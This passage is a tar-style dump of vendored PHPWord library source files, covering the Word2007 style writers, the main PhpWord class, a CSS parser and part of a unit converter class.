        foreach ($styles as $key => $value) {
            if (null !== $value && $value != '') {
                $style .= "{$key}:{$value}; ";
            }
        }

        return trim($style);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Spacing.php000066600000003542151150442730021550 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Spacing between lines and above/below paragraph style writer.
 *
 * @since 0.10.0
 */
class Spacing extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Spacing) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:spacing');

        $before = $style->getBefore();
        $xmlWriter->writeAttributeIf(null !== $before, 'w:before', $this->convertTwip($before));

        $after = $style->getAfter();
        $xmlWriter->writeAttributeIf(null !== $after, 'w:after', $this->convertTwip($after));

        $line = $style->getLine();
        //if linerule is auto, the spacing is supposed to include the height of the line itself, which is 240 twips
        if (null !== $line && 'auto' === $style->getLineRule()) {
            $line += \PhpOffice\PhpWord\Style\Paragraph::LINE_HEIGHT;
        }
        $xmlWriter->writeAttributeIf(null !== $line, 'w:line', $line);

        $xmlWriter->writeAttributeIf(null !== $line, 'w:lineRule', $style->getLineRule());

        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Shadow.php000066600000002515151150442730021410 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Shadow style writer.
 *
 * @since 0.12.0
 */
class Shadow extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Shadow) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('v:shadow');
        $xmlWriter->writeAttribute('on', 't');
        $xmlWriter->writeAttributeIf($style->getColor() !== null, 'color', $style->getColor());
        $xmlWriter->writeAttributeIf($style->getOffset() !== null, 'offset', $style->getOffset());
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Outline.php000066600000003543151150442730021604 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Outline style writer.
 *
 * @since 0.12.0
 */
class Outline extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Outline) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('v:stroke');
        $xmlWriter->writeAttribute('on', 't');
        $xmlWriter->writeAttributeIf($style->getColor() !== null, 'color', $style->getColor());
        $xmlWriter->writeAttributeIf($style->getWeight() !== null, 'weight', $style->getWeight() . $style->getUnit());
        $xmlWriter->writeAttributeIf($style->getDash() !== null, 'dashstyle', $style->getDash());
        $xmlWriter->writeAttributeIf($style->getLine() !== null, 'linestyle', $style->getLine());
        $xmlWriter->writeAttributeIf($style->getEndCap() !== null, 'endcap', $style->getEndCap());
        $xmlWriter->writeAttributeIf($style->getStartArrow() !== null, 'startarrow', $style->getStartArrow());
        $xmlWriter->writeAttributeIf($style->getEndArrow() !== null, 'endarrow', $style->getEndArrow());
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Indentation.php000066600000003105151150442730022433 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Paragraph indentation style writer.
 *
 * @since 0.10.0
 */
class Indentation extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Indentation) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:ind');

        $xmlWriter->writeAttribute('w:left', $this->convertTwip($style->getLeft()));
        $xmlWriter->writeAttribute('w:right', $this->convertTwip($style->getRight()));

        $firstLine = $style->getFirstLine();
        $xmlWriter->writeAttributeIf(null !== $firstLine, 'w:firstLine', $this->convertTwip($firstLine));

        $hanging = $style->getHanging();
        $xmlWriter->writeAttributeIf(null !== $hanging, 'w:hanging', $this->convertTwip($hanging));

        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Tab.php000066600000002467151150442730020677 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Line numbering style writer.
 *
 * @since 0.10.0
 */
class Tab extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Tab) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:tab');
        $xmlWriter->writeAttribute('w:val', $style->getType());
        $xmlWriter->writeAttribute('w:leader', $style->getLeader());
        $xmlWriter->writeAttribute('w:pos', $this->convertTwip($style->getPosition()));
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Extrusion.php000066600000002526151150442730022165 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * 3D extrusion style writer.
 *
 * @since 0.12.0
 */
class Extrusion extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Extrusion) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('o:extrusion');
        $xmlWriter->writeAttribute('on', 't');
        $xmlWriter->writeAttributeIf($style->getType() !== null, 'type', $style->getType());
        $xmlWriter->writeAttributeIf($style->getColor() !== null, 'color', $style->getColor());
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Section.php000066600000007216151150442730021572 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Style\Section as SectionStyle;

/**
 * Section style writer.
 *
 * @since 0.10.0
 */
class Section extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof SectionStyle) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        // Break type
        $breakType = $style->getBreakType();
        $xmlWriter->writeElementIf(null !== $breakType, 'w:type', 'w:val', $breakType);

        // Page size & orientation
        $xmlWriter->startElement('w:pgSz');
        $xmlWriter->writeAttribute('w:orient', $style->getOrientation());
        $xmlWriter->writeAttribute('w:w', $style->getPageSizeW());
        $xmlWriter->writeAttribute('w:h', $style->getPageSizeH());
        $xmlWriter->endElement(); // w:pgSz

        // Vertical alignment
        $vAlign = $style->getVAlign();
        $xmlWriter->writeElementIf(null !== $vAlign, 'w:vAlign', 'w:val', $vAlign);

        // Margins
        $margins = [
            'w:top' => ['getMarginTop', SectionStyle::DEFAULT_MARGIN],
            'w:right' => ['getMarginRight', SectionStyle::DEFAULT_MARGIN],
            'w:bottom' => ['getMarginBottom', SectionStyle::DEFAULT_MARGIN],
            'w:left' => ['getMarginLeft', SectionStyle::DEFAULT_MARGIN],
            'w:header' => ['getHeaderHeight', SectionStyle::DEFAULT_HEADER_HEIGHT],
            'w:footer' => ['getFooterHeight', SectionStyle::DEFAULT_FOOTER_HEIGHT],
            'w:gutter' => ['getGutter', SectionStyle::DEFAULT_GUTTER],
        ];
        $xmlWriter->startElement('w:pgMar');
        foreach ($margins as $attribute => $value) {
            [$method, $default] = $value;
            $xmlWriter->writeAttribute($attribute, $this->convertTwip($style->$method(), $default));
        }
        $xmlWriter->endElement();

        // Borders
        if ($style->hasBorder()) {
            $xmlWriter->startElement('w:pgBorders');
            $xmlWriter->writeAttribute('w:offsetFrom', 'page');

            $styleWriter = new MarginBorder($xmlWriter);
            $styleWriter->setSizes($style->getBorderSize());
            $styleWriter->setColors($style->getBorderColor());
            $styleWriter->setAttributes(['space' => '24']);
            $styleWriter->write();

            $xmlWriter->endElement();
        }

        // Columns
        $colsSpace = $style->getColsSpace();
        $xmlWriter->startElement('w:cols');
        $xmlWriter->writeAttribute('w:num', $style->getColsNum());
        $xmlWriter->writeAttribute('w:space', $this->convertTwip($colsSpace, SectionStyle::DEFAULT_COLUMN_SPACING));
        $xmlWriter->endElement();

        // Page numbering start
        $pageNum = $style->getPageNumberingStart();
        $xmlWriter->writeElementIf(null !== $pageNum, 'w:pgNumType', 'w:start', $pageNum);

        // Line numbering
        $styleWriter = new LineNumbering($xmlWriter, $style->getLineNumbering());
        $styleWriter->write();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Shading.php000066600000002600151150442730021533 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Shading style writer.
 *
 * @since 0.10.0
 */
class Shading extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Shading) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:shd');
        $xmlWriter->writeAttributeIf(null !== $style->getPattern(), 'w:val', $style->getPattern());
        $xmlWriter->writeAttributeIf(null !== $style->getColor(), 'w:color', $style->getColor());
        $xmlWriter->writeAttributeIf(null !== $style->getFill(), 'w:fill', $style->getFill());
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Image.php000066600000001376151150442730021211 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Image style writer.
 *
 * @since 0.10.0
 */
class Image extends Frame
{
}
vendor/phpoffice/phpword/src/PhpWord/PhpWord.php000066600000023130151150442730015742 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord;

use BadMethodCallException;
use PhpOffice\PhpWord\Element\Section;
use PhpOffice\PhpWord\Exception\Exception;

/**
 * PHPWord main class.
 *
 * @method Collection\Titles getTitles()
 * @method Collection\Footnotes getFootnotes()
 * @method Collection\Endnotes getEndnotes()
 * @method Collection\Charts getCharts()
 * @method Collection\Comments getComments()
 * @method int addBookmark(Element\Bookmark $bookmark)
 * @method int addTitle(Element\Title $title)
 * @method int addFootnote(Element\Footnote $footnote)
 * @method int addEndnote(Element\Endnote $endnote)
 * @method int addChart(Element\Chart $chart)
 * @method int addComment(Element\Comment $comment)
 * @method Style\Paragraph addParagraphStyle(string $styleName, mixed $styles)
 * @method Style\Font addFontStyle(string $styleName, mixed $fontStyle, mixed $paragraphStyle = null)
 * @method Style\Font addLinkStyle(string $styleName, mixed $styles)
 * @method Style\Font addTitleStyle(mixed $depth, mixed $fontStyle, mixed $paragraphStyle = null)
 * @method Style\Table addTableStyle(string $styleName, mixed $styleTable, mixed $styleFirstRow = null)
 * @method Style\Numbering addNumberingStyle(string $styleName, mixed $styles)
 */
class PhpWord
{
    /**
     * Collection of sections.
     *
     * @var \PhpOffice\PhpWord\Element\Section[]
     */
    private $sections = [];

    /**
     * Collections.
     *
     * @var array
     */
    private $collections = [];

    /**
     * Metadata.
     *
     * @var array
     *
     * @since 0.12.0
     */
    private $metadata = [];

    /**
     * Create new instance.
     *
     * Collections are created dynamically
     */
    public function __construct()
    {
        // Reset Media and styles
        Media::resetElements();
        Style::resetStyles();
        Settings::setDefaultRtl(null);

        // Collection
        $collections = ['Bookmarks', 'Titles', 'Footnotes', 'Endnotes', 'Charts', 'Comments'];
        foreach ($collections as $collection) {
            $class = 'PhpOffice\\PhpWord\\Collection\\' . $collection;
            $this->collections[$collection] = new $class();
        }

        // Metadata
        $metadata = ['DocInfo', 'Settings', 'Compatibility'];
        foreach ($metadata as $meta) {
            $class = 'PhpOffice\\PhpWord\\Metadata\\' . $meta;
            $this->metadata[$meta] = new $class();
        }
    }

    /**
     * Dynamic function call to reduce static dependency.
     *
     * @since 0.12.0
     *
     * @param mixed $function
     * @param mixed $args
     *
     * @return mixed
     */
    public function __call($function, $args)
    {
        $function = strtolower($function);

        $getCollection = [];
        $addCollection = [];
        $addStyle = [];

        $collections = ['Bookmark', 'Title', 'Footnote', 'Endnote', 'Chart', 'Comment'];
        foreach ($collections as $collection) {
            $getCollection[] = strtolower("get{$collection}s");
            $addCollection[] = strtolower("add{$collection}");
        }

        $styles = ['Paragraph', 'Font', 'Table', 'Numbering', 'Link', 'Title'];
        foreach ($styles as $style) {
            $addStyle[] = strtolower("add{$style}Style");
        }

        // Run get collection method
        if (in_array($function, $getCollection)) {
            $key = ucfirst(str_replace('get', '', $function));

            return $this->collections[$key];
        }

        // Run add collection item method
        if (in_array($function, $addCollection)) {
            $key = ucfirst(str_replace('add', '', $function) . 's');

            $collectionObject = $this->collections[$key];

            return $collectionObject->addItem($args[0] ?? null);
        }

        // Run add style method
        if (in_array($function, $addStyle)) {
            return forward_static_call_array(['PhpOffice\\PhpWord\\Style', $function], $args);
        }

        // Exception
        throw new BadMethodCallException("Method $function is not defined.");
    }

    /**
     * Get document properties object.
     *
     * @return \PhpOffice\PhpWord\Metadata\DocInfo
     */
    public function getDocInfo()
    {
        return $this->metadata['DocInfo'];
    }

    /**
     * Get compatibility.
     *
     * @return \PhpOffice\PhpWord\Metadata\Compatibility
     *
     * @since 0.12.0
     */
    public function getCompatibility()
    {
        return $this->metadata['Compatibility'];
    }

    /**
     * Get compatibility.
     *
     * @return \PhpOffice\PhpWord\Metadata\Settings
     *
     * @since 0.14.0
     */
    public function getSettings()
    {
        return $this->metadata['Settings'];
    }

    /**
     * Get all sections.
     *
     * @return \PhpOffice\PhpWord\Element\Section[]
     */
    public function getSections()
    {
        return $this->sections;
    }

    /**
     * Returns the section at the requested position.
     *
     * @param int $index
     *
     * @return null|\PhpOffice\PhpWord\Element\Section
     */
    public function getSection($index)
    {
        if (array_key_exists($index, $this->sections)) {
            return $this->sections[$index];
        }

        return null;
    }

    /**
     * Create new section.
     *
     * @param null|array|string $style
     *
     * @return \PhpOffice\PhpWord\Element\Section
     */
    public function addSection($style = null)
    {
        $section = new Section(count($this->sections) + 1, $style);
        $section->setPhpWord($this);
        $this->sections[] = $section;

        return $section;
    }

    /**
     * Sorts the sections using the callable passed.
     *
     * @see http://php.net/manual/en/function.usort.php for usage
     *
     * @param callable $sorter
     */
    public function sortSections($sorter): void
    {
        usort($this->sections, $sorter);
    }

    /**
     * Get default font name.
     *
     * @return string
     */
    public function getDefaultFontName()
    {
        return Settings::getDefaultFontName();
    }

    /**
     * Set default font name.
     *
     * @param string $fontName
     */
    public function setDefaultFontName($fontName): void
    {
        Settings::setDefaultFontName($fontName);
    }

    /**
     * Get default font size.
     *
     * @return int
     */
    public function getDefaultFontSize()
    {
        return Settings::getDefaultFontSize();
    }

    /**
     * Set default font size.
     *
     * @param int $fontSize
     */
    public function setDefaultFontSize($fontSize): void
    {
        Settings::setDefaultFontSize($fontSize);
    }

    /**
     * Set default paragraph style definition to styles.xml.
     *
     * @param array $styles Paragraph style definition
     *
     * @return \PhpOffice\PhpWord\Style\Paragraph
     */
    public function setDefaultParagraphStyle($styles)
    {
        return Style::setDefaultParagraphStyle($styles);
    }

    /**
     * Save to file or download.
     *
     * All exceptions should already been handled by the writers
     *
     * @param string $filename
     * @param string $format
     * @param bool $download
     *
     * @return bool
     */
    public function save($filename, $format = 'Word2007', $download = false)
    {
        $mime = [
            'Word2007' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'ODText' => 'application/vnd.oasis.opendocument.text',
            'RTF' => 'application/rtf',
            'HTML' => 'text/html',
            'PDF' => 'application/pdf',
        ];

        $writer = IOFactory::createWriter($this, $format);

        if ($download === true) {
            header('Content-Description: File Transfer');
            header('Content-Disposition: attachment; filename="' . $filename . '"');
            header('Content-Type: ' . $mime[$format]);
            header('Content-Transfer-Encoding: binary');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Expires: 0');
            $filename = 'php://output'; // Change filename to force download
        }

        $writer->save($filename);

        return true;
    }

    /**
     * Create new section.
     *
     * @deprecated 0.10.0
     *
     * @param array $settings
     *
     * @return \PhpOffice\PhpWord\Element\Section
     *
     * @codeCoverageIgnore
     */
    public function createSection($settings = null)
    {
        return $this->addSection($settings);
    }

    /**
     * Get document properties object.
     *
     * @deprecated 0.12.0
     *
     * @return \PhpOffice\PhpWord\Metadata\DocInfo
     *
     * @codeCoverageIgnore
     */
    public function getDocumentProperties()
    {
        return $this->getDocInfo();
    }

    /**
     * Set document properties object.
     *
     * @deprecated 0.12.0
     *
     * @param \PhpOffice\PhpWord\Metadata\DocInfo $documentProperties
     *
     * @return self
     *
     * @codeCoverageIgnore
     */
    public function setDocumentProperties($documentProperties)
    {
        $this->metadata['Document'] = $documentProperties;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/Css.php000066600000004314151150442730016320 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */
declare(strict_types=1);

namespace PhpOffice\PhpWord\Shared;

class Css
{
    /**
     * @var string
     */
    private $cssContent;

    /**
     * @var array<string, array<string, string>>
     */
    private $styles = [];

    public function __construct(string $cssContent)
    {
        $this->cssContent = $cssContent;
    }

    public function process(): void
    {
        $cssContent = str_replace(["\r", "\n"], '', $this->cssContent);
        preg_match_all('/(.+?)\s?\{\s?(.+?)\s?\}/', $cssContent, $cssExtracted);
        // Check the number of extracted
        if (count($cssExtracted) != 3) {
            return;
        }
        // Check if there are x selectors and x rules
        if (count($cssExtracted[1]) != count($cssExtracted[2])) {
            return;
        }

        foreach ($cssExtracted[1] as $key => $selector) {
            $rules = trim($cssExtracted[2][$key]);
            $rules = explode(';', $rules);
            foreach ($rules as $rule) {
                if (empty($rule)) {
                    continue;
                }
                [$key, $value] = explode(':', trim($rule));
                $this->styles[$this->sanitize($selector)][$this->sanitize($key)] = $this->sanitize($value);
            }
        }
    }

    public function getStyles(): array
    {
        return $this->styles;
    }

    public function getStyle(string $selector): array
    {
        $selector = $this->sanitize($selector);

        return $this->styles[$selector] ?? [];
    }

    private function sanitize(string $value): string
    {
        return addslashes(trim($value));
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/Converter.php000066600000025230151150442730017537 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

/**
 * Common converter functions.
 */
class Converter
{
    const INCH_TO_CM = 2.54;
    const INCH_TO_TWIP = 1440;
    const INCH_TO_PIXEL = 96;
    const INCH_TO_POINT = 72;
    const INCH_TO_PICA = 6;
    const PIXEL_TO_EMU = 9525;
    const DEGREE_TO_ANGLE = 60000;

    /**
     * Convert centimeter to twip.
     *
     * @param float $centimeter
     *
     * @return float
     */
    public static function cmToTwip($centimeter = 1)
    {
        return $centimeter / self::INCH_TO_CM * self::INCH_TO_TWIP;
    }

    /**
     * Convert centimeter to inch.
     *
     * @param float $centimeter
     *
     * @return float
     */
    public static function cmToInch($centimeter = 1)
    {
        return $centimeter / self::INCH_TO_CM;
    }

    /**
     * Convert centimeter to pixel.
     *
     * @param float $centimeter
     *
     * @return float
     */
    public static function cmToPixel($centimeter = 1)
    {
        return $centimeter / self::INCH_TO_CM * self::INCH_TO_PIXEL;
    }

    /**
     * Convert centimeter to point.
     *
     * @param float $centimeter
     *
     * @return float
     */
    public static function cmToPoint($centimeter = 1)
    {
        return $centimeter / self::INCH_TO_CM * self::INCH_TO_POINT;
    }

    /**
     * Convert centimeter to EMU.
     *
     * @param float $centimeter
     *
     * @return float
     */
    public static function cmToEmu($centimeter = 1)
    {
        return round($centimeter / self::INCH_TO_CM * self::INCH_TO_PIXEL * self::PIXEL_TO_EMU);
    }

    /**
     * Convert inch to twip.
     *
     * @param float $inch
     *
     * @return float
     */
    public static function inchToTwip($inch = 1)
    {
        return $inch * self::INCH_TO_TWIP;
    }

    /**
     * Convert inch to centimeter.
     *
     * @param float $inch
     *
     * @return float
     */
    public static function inchToCm($inch = 1)
    {
        return $inch * self::INCH_TO_CM;
    }

    /**
     * Convert inch to pixel.
     *
     * @param float $inch
     *
     * @return float
     */
    public static function inchToPixel($inch = 1)
    {
        return $inch * self::INCH_TO_PIXEL;
    }

    /**
     * Convert inch to point.
     *
     * @param float $inch
     *
     * @return float
     */
    public static function inchToPoint($inch = 1)
    {
        return $inch * self::INCH_TO_POINT;
    }

    /**
     * Convert inch to EMU.
     *
     * @param float $inch
     *
     * @return int
     */
    public static function inchToEmu($inch = 1)
    {
        return round($inch * self::INCH_TO_PIXEL * self::PIXEL_TO_EMU);
    }

    /**
     * Convert pixel to twip.
     *
     * @param float $pixel
     *
     * @return float
     */
    public static function pixelToTwip($pixel = 1)
    {
        return $pixel / self::INCH_TO_PIXEL * self::INCH_TO_TWIP;
    }

    /**
     * Convert pixel to centimeter.
     *
     * @param float $pixel
     *
     * @return float
     */
    public static function pixelToCm($pixel = 1)
    {
        return $pixel / self::INCH_TO_PIXEL * self::INCH_TO_CM;
    }

    /**
     * Convert pixel to point.
     *
     * @param float $pixel
     *
     * @return float
     */
    public static function pixelToPoint($pixel = 1)
    {
        return $pixel / self::INCH_TO_PIXEL * self::INCH_TO_POINT;
    }

    /**
     * Convert pixel to EMU.
     *
     * @param float $pixel
     *
     * @return int
     */
    public static function pixelToEmu($pixel = 1)
    {
        return round($pixel * self::PIXEL_TO_EMU);
    }

    /**
     * Convert point to twip unit.
     *
     * @param float $point
     *
     * @return float
     */
    public static function pointToTwip($point = 1)
    {
        return $point / self::INCH_TO_POINT * self::INCH_TO_TWIP;
    }

    /**
     * Convert point to pixel.
     *
     * @param float $point
     *
     * @return float
     */
    public static function pointToPixel($point = 1)
    {
        return $point / self::INCH_TO_POINT * self::INCH_TO_PIXEL;
    }

    /**
     * Convert point to EMU.
     *
     * @param float $point
     *
     * @return float
     */
    public static function pointToEmu($point = 1)
    {
        return round($point / self::INCH_TO_POINT * self::INCH_TO_PIXEL * self::PIXEL_TO_EMU);
    }

    /**
     * Convert point to cm.
     *
     * @param float $point
     *
     * @return float
     */
    public static function pointToCm($point = 1)
    {
        return $point / self::INCH_TO_POINT * self::INCH_TO_CM;
    }

    /**
     * Convert EMU to pixel.
     *
     * @param float $emu
     *
     * @return float
     */
    public static function emuToPixel($emu = 1)
    {
        return round($emu / self::PIXEL_TO_EMU);
    }

    /**
     * Convert pica to point.
     *
     * @param float $pica
     *
     * @return float
     */
    public static function picaToPoint($pica = 1)
    {
        return $pica / self::INCH_TO_PICA * self::INCH_TO_POINT;
    }

    /**
     * Convert degree to angle.
     *
     * @param float $degree
     *
     * @return int
     */
    public static function degreeToAngle($degree = 1)
    {
        return (int) round($degree * self::DEGREE_TO_ANGLE);
    }

    /**
     * Convert angle to degrees.
     *
     * @param float $angle
     *
     * @return int
     */
    public static function angleToDegree($angle = 1)
    {
        return round($angle / self::DEGREE_TO_ANGLE);
    }

    /**
     * Convert colorname as string to RGB.
     *
     * @param string $value color name
     *
     * @return string color as hex RGB string, or original value if unknown
     */
    public static function stringToRgb($value)
    {
        switch ($value) {
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_YELLOW:
                return 'FFFF00';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_LIGHTGREEN:
                return '90EE90';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_CYAN:
                return '00FFFF';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_MAGENTA:
                return 'FF00FF';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_BLUE:
                return '0000FF';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_RED:
                return 'FF0000';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_DARKBLUE:
                return '00008B';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_DARKCYAN:
                return '008B8B';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_DARKGREEN:
                return '006400';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_DARKMAGENTA:
                return '8B008B';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_DARKRED:
                return '8B0000';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_DARKYELLOW:
                return '8B8B00';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_DARKGRAY:
                return 'A9A9A9';
